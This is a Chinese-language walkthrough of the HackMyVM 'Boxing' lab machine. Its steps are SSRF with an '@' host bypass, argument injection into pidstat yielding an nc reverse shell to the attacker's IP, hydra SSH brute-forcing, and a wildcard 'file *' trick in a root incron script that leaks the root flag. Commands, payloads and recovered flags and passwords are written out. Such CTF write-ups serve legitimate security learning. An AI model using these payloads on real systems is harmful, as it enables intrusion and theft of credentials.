<h1>Boxing.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Boxing">https://hackmyvm.eu/machines/machine.php?vm=Boxing</a>
</blockquote>
Notes：Enjoy it.
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ boxing nmap -sP 192.168.56.0/24 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-16 03:11 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00028s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00029s latency).
MAC Address: 08:00:27:05:4E:40 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.62
Host is up (0.00044s latency).
MAC Address: 08:00:27:82:38:A1 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.99 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ boxing nmap -sT -min-rate 10000 -p- 192.168.56.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-16 03:13 EDT
Nmap scan report for 192.168.56.62
Host is up (0.00024s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:82:38:A1 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ boxing nmap -sT -A -T4 -O -p 22,80 192.168.56.62 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-16 03:14 EDT
Nmap scan report for 192.168.56.62
Host is up (0.00065s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
| 256 dd:74:2f:1c:d1:23:f6:1f:dd:3a:52:94:5d:8b:7c:d9 (ECDSA)
|_ 256 96:fb:74:b2:7d:ac:66:40:e9:94:df:83:9a:a6:07:64 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Oxer
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:82:38:A1 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.65 ms 192.168.56.62

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds
</code></pre>
<h2>Web 渗透</h2>
<h3>信息收集 &#x26; 漏洞检测</h3>
访问主页，将 <code>boxing.hmv</code> 写入 <code>hosts</code>
<img src="/post-images/HackMyVMBoxing/image.png" alt="image.png">
有个 <code>feedback</code> 功能点
<img src="/post-images/HackMyVMBoxing/image1.png" alt="image.png">
<img src="/post-images/HackMyVMBoxing/image2.png" alt="image.png">
对其 <code>fuzz</code> 了参数测试命令注入和使用 <code>Sqlmap</code> 测试注入，无果
<pre><code class="hljs language-bash">➜ boxing wfuzz -c -w ../../Dict/SecLists-2024.3/Passwords/xato-net-10-million-passwords-100000.txt -u http://192.168.56.62/feedback.php -X POST -d 'FUZZ=whoami' --hh=154
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.56.62/feedback.php
Total requests: 100000

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

Total time: 124.8046
Processed Requests: 100000
Filtered Requests: 100000
Requests/sec.: 801.2518
</code></pre>
<img src="/post-images/HackMyVMBoxing/image3.png" alt="image.png">
扫描一下子域名
<pre><code class="hljs language-bash">➜ boxing wfuzz -c -w ../../Dict/SecLists-2024.3/Discovery/DNS/subdomains-top1million-110000.txt -u http://boxing.hmv -H 'host:FUZZ.boxing.hmv' --hh=23854
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://boxing.hmv/
Total requests: 114441

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000009532: 400 10 L 35 W 302 Ch "#www - #www"
000010581: 400 10 L 35 W 302 Ch "#mail - #mail"
000047706: 400 10 L 35 W 302 Ch "#smtp - #smtp"
000103135: 400 10 L 35 W 302 Ch "#pop3 - #pop3"

Total time: 0
Processed Requests: 114441
Filtered Requests: 114437
Requests/sec.: 0
</code></pre>
也没扫出来，但是在 <code>feedback</code> 的返回包中能看到有一个新域名 <code>staging-env.boxing.hmv</code>
<img src="/post-images/HackMyVMBoxing/image4.png" alt="image.png">
添加到 <code>hosts</code> ，访问
<img src="/post-images/HackMyVMBoxing/image5.png" alt="image.png">
看着像是文件包含或者 <code>SSRF</code>
<img src="/post-images/HackMyVMBoxing/image6.png" alt="image.png">
<h3>SSRF</h3>
尝试利用伪协议，但是没法使用，应该是被禁用了
使用 <code>SSRF</code> 来枚举一下端口，但是默认的方法无法枚举，连<code>80</code>端口也没枚举出来
<pre><code class="hljs language-bash">➜ boxing wfuzz -c -w ports.txt -u http://staging-env.boxing.hmv/index.php\?url\=127.0.0.1:FUZZ --hh=1184 
</code></pre>
但是 <code>http://boxing.hmv</code> 可以进行包含，貌似限制了域名，加上 <code>@</code> 尝试绕过
<pre><code class="hljs language-bash">➜ boxing wfuzz -c -w ports.txt -u http://staging-env.boxing.hmv/index.php\?url\=http://boxing.hmv@127.0.0.1:FUZZ --hh=1167
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://staging-env.boxing.hmv/index.php?url=http://boxing.hmv@127.0.0.1:FUZZ
Total requests: 10000

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000080: 200 701 L 1723 W 25021 Ch "80"
000005000: 200 95 L 182 W 2367 Ch "5000"

Total time: 12.75934
Processed Requests: 10000
Filtered Requests: 9998
Requests/sec.: 783.7390
</code></pre>
枚举出来 <code>5000</code> 端口，包含 <code>127.0.0.1:5000</code>
<img src="/post-images/HackMyVMBoxing/image7.png" alt="image.png">
像是搜索进程的，但是没有参数，先枚举一下参数
尝试了好一会没有枚举出来，参考其他页面的参数，生成以<code>process</code>为前缀的字典
<pre><code class="hljs language-bash">➜ boxing cat ../../Dict/fuzz/paramDict/AllParam.txt | awk '{print "process" $1}' > process_dict.txt
</code></pre>
再次进行枚举，这里使用 <code>ffuf</code> ，<code>wfuzz</code> 一直报 <code>404</code>
<pre><code class="hljs language-bash">➜ boxing ffuf -w process_dict.txt -u http://staging-env.boxing.hmv/index.php\?url\=http://boxing.hmv@127.0.0.1:5000\?FUZZ\=id -fl=96 

 /'___\ /'___\ /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\ \ \_\ \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://staging-env.boxing.hmv/index.php?url=http://boxing.hmv@127.0.0.1:5000?FUZZ=id
 :: Wordlist : FUZZ: /root/Desktop/test/boxing/process_dict.txt
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response lines: 96
________________________________________________

processName [Status: 200, Size: 2631, Words: 906, Lines: 100, Duration: 31ms]
</code></pre>
枚举出参数<code>processName</code> ，尝试一下
<img src="/post-images/HackMyVMBoxing/image8.png" alt="image.png">
确实可以看进程，但是也仅此而已，我们要关注该输出文本的指令是什么
<h3>命令拼接</h3>
<img src="/post-images/HackMyVMBoxing/image9.png" alt="image.png">
<code>pidstat</code> 本身有执行命令的参数
<pre><code class="hljs language-bash">➜ boxing pidstat -e id
Linux 6.11.2-amd64 (kali) 2025年05月16日 _x86_64_ (16 CPU)
uid=0(root) gid=0(root) 组=0(root)

05时40分15秒 UID PID %usr %system %guest %wait %CPU CPU Command
</code></pre>
尝试进行拼接
<pre><code class="hljs language-bash">http://boxing.hmv@127.0.0.1:5000?processName='apache'+-e+id
// 再对后面在进行一次 URL 编码
http://boxing.hmv@127.0.0.1:5000?%70%72%6f%63%65%73%73%4e%61%6d%65%3d%27%61%70%61%63%68%65%27%2b%2d%65%2b%69%64
</code></pre>
<img src="/post-images/HackMyVMBoxing/image10.png" alt="image.png">
成功输出，反弹 <code>shell</code>
<pre><code class="hljs language-bash">processName='apache'+-e+nc+-e+%2Fbin%2Fbash+192.168.56.4+1234
/index.php?url=http://boxing.hmv@127.0.0.1:5000?%70%72%6f%63%65%73%73%4e%61%6d%65%3d%27%61%70%61%63%68%65%27%2b%2d%65%2b%6e%63%2b%2d%65%2b%25%32%46%62%69%6e%25%32%46%62%61%73%68%2b%31%39%32%2e%31%36%38%2e%35%36%2e%34%2b%31%32%33%34
</code></pre>
<img src="/post-images/HackMyVMBoxing/image11.png" alt="image.png">
<h2>提权 - To Cassius</h2>
有数据库文件
<pre><code class="hljs language-bash">www-data@boxing:~/dev$ ls
boxing_database.db cache index.php

www-data@boxing:~/dev$ file boxing_database.db 
boxing_database.db: SQLite 3.x database, last written using SQLite version 3040001, file counter 5, database pages 6, cookie 0x4, schema 4, UTF-8, version-valid-for 5
</code></pre>
<code>SQLite</code> 文件
<pre><code class="hljs language-bash">sqlite> .tables
fighters matches news users 
sqlite> select * from users;
1|cassius|$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu
</code></pre>
得到用户 <code>cassius</code> 何其加密后的密码
继续在当前文件夹寻找信息，在 <code>cache/client_requests.har.swp</code> 能找到：
<pre><code class="hljs language-bash">Hello! You don't have a link to reset the password, and I've forgotten it! I tried Cassius! but it doesn't work; Contact me asap pease!

Cassius
</code></pre>
说是尝试使用<code>Cassius</code>用户的密码<code>Cassius!</code>但是失败了
通过<code>Cassius!</code> 来生成密码本，尝试了以<code>Cassius!</code> 前缀但是失败了，这里看了下<code>wp</code>，使用在线工具：<a href="https://www.ddosi.org/pass8/">https://www.ddosi.org/pass8/</a>
<pre><code class="hljs language-bash">➜ boxing hydra -l cassius -P pass.txt -t 12 192.168.56.62 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC &#x26; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-16 07:10:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 12 tasks per 1 server, overall 12 tasks, 7370 login tries (l:1/p:7370), ~615 tries per task
[DATA] attacking ssh://192.168.56.62:22/
[22][ssh] host: 192.168.56.62 login: cassius password: Cassius!123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-16 07:11:34
</code></pre>
得到密码 <code>Cassius!123</code>
<code>user.txt</code>
<pre><code class="hljs language-bash">cassius@boxing:~$ cat user.txt 
a2b3946358a96bb7a92f61a759a1d972
</code></pre>
<h2>提权 - To Root</h2>
查看 <code>sudo</code> 权限
<pre><code class="hljs language-bash">cassius@boxing:~$ sudo -l
-bash: sudo : commande introuvable
</code></pre>
在 <code>/opt/sos</code> 中有脚本（没找到其他可以利用的点了）
<pre><code class="hljs language-bash">cassius@boxing:/opt/sos$ ls -al
total 20
drwxr-xr-x 3 root root 4096 4 févr. 2024 .
drwxr-xr-x 4 root root 4096 4 févr. 2024 ..
-rwxr-xr-x 1 root root 298 4 févr. 2024 incrontab.sh
drwxr-xr-x 2 root root 4096 4 févr. 2024 logs
-rwxr-xr-x 1 root root 323 4 févr. 2024 sos.sh
</code></pre>
<pre><code class="hljs language-bash">cassius@boxing:/opt/sos$ cat incrontab.sh 
#!/bin/bash

echo '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab -
echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab -
echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -
</code></pre>
当 <code>/home/cassius/user.txt</code> 文件的属性（如权限、时间戳等）发生变化时，执行 <code>/opt/sos/sos.sh</code> 脚本。
<pre><code class="hljs language-bash">cassius@boxing:/opt/sos$ cat sos.sh 
#!/bin/bash

logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &#x26;>$logs

cd /home/cassius
file *
ss -altupn
last -a
w
ps aux
top -n 1
lsof

for user in $(cut -f1 -d: /etc/passwd); do
echo "Cron jobs for $user:"
crontab -u $user -l
done

tail /var/log/syslog
sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/*

chmod 700 $logs
</code></pre>
其中最有问题的就是 <code>file *</code>
<ul>
<li>
是 Shell 的通配符，表示“匹配当前目录下所有非隐藏文件”。
</li>
<li>
当输入 <code>file *</code> 时，Shell 会先将 扩展为当前目录下的所有非隐藏文件名（例如 <code>file1.txt file2.jpg dir1</code>），然后将这些文件名作为参数传递给 <code>file</code> 命令。
</li>
<li>
例如，如果当前目录有 <code>a.txt</code>、<code>b.jpg</code>、<code>c.sh</code>，则 <code>file *</code> 实际会变成：
<pre><code class="hljs language-bash">file a.txt b.jpg c.sh
</code></pre>
</li>
</ul>
那么如果里面有一个名为 <code>-f</code> 的文件，这会：
<img src="/post-images/HackMyVMBoxing/image12.png" alt="image.png">
<pre><code class="hljs language-bash">cassius@boxing:~$ touch ./-f
cassius@boxing:~$ ln -sv /root/root.txt root.txt
cassius@boxing:~$ while :; do cp /opt/sos/logs/output-logs.txt /tmp/output-logs.txt 2>/dev/null;done &#x26;
[1] 1716
'root.txt' -> '/root/root.txt' 
cassius@boxing:~$ chmod 600 user.txt 
</code></pre>
最后读取<code>/tmp/output-logs.txt</code>
<pre><code class="hljs language-bash">cassius@boxing:~$ head /tmp/output-logs.txt 
19ed17ba1da85521ce659aeeb5ecd751: cannot open `19ed17ba1da85521ce659aeeb5ecd751' (No such file or directory)
touch: empty
user.txt: ASCII text
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess 
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* users:(("dhclient",pid=392,fd=7))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=538,fd=3)) 
tcp LISTEN 0 4096 127.0.0.1:5000 0.0.0.0:* users:(("php",pid=516,fd=4)) 
tcp LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=538,fd=4)) 
tcp LISTEN 0 511 *:80 *:* users:(("apache2",pid=551,fd=4),("apache2",pid=544,fd=4),("apache2",pid=543,fd=4),("apache2",pid=542,fd=4),("apache2",pid=541,fd=4),("apache2",pid=540,fd=4),("apache2",pid=539,fd=4))
cassius pts/0 Fri May 16 13:12 still logged in 192.168.56.4
</code></pre>
<code>root.txt</code> ，想要获取<code>root shell</code> 可以读取 <code>root</code>的私钥
<pre><code class="hljs language-bash">19ed17ba1da85521ce659aeeb5ecd751
</code></pre>
<h2>总结</h2>
细心细心细心，耐心耐心耐心

HackMyVM - Boxing

HackTheBox - Machine - Developer

HackTheBox - Machine - TwoMillion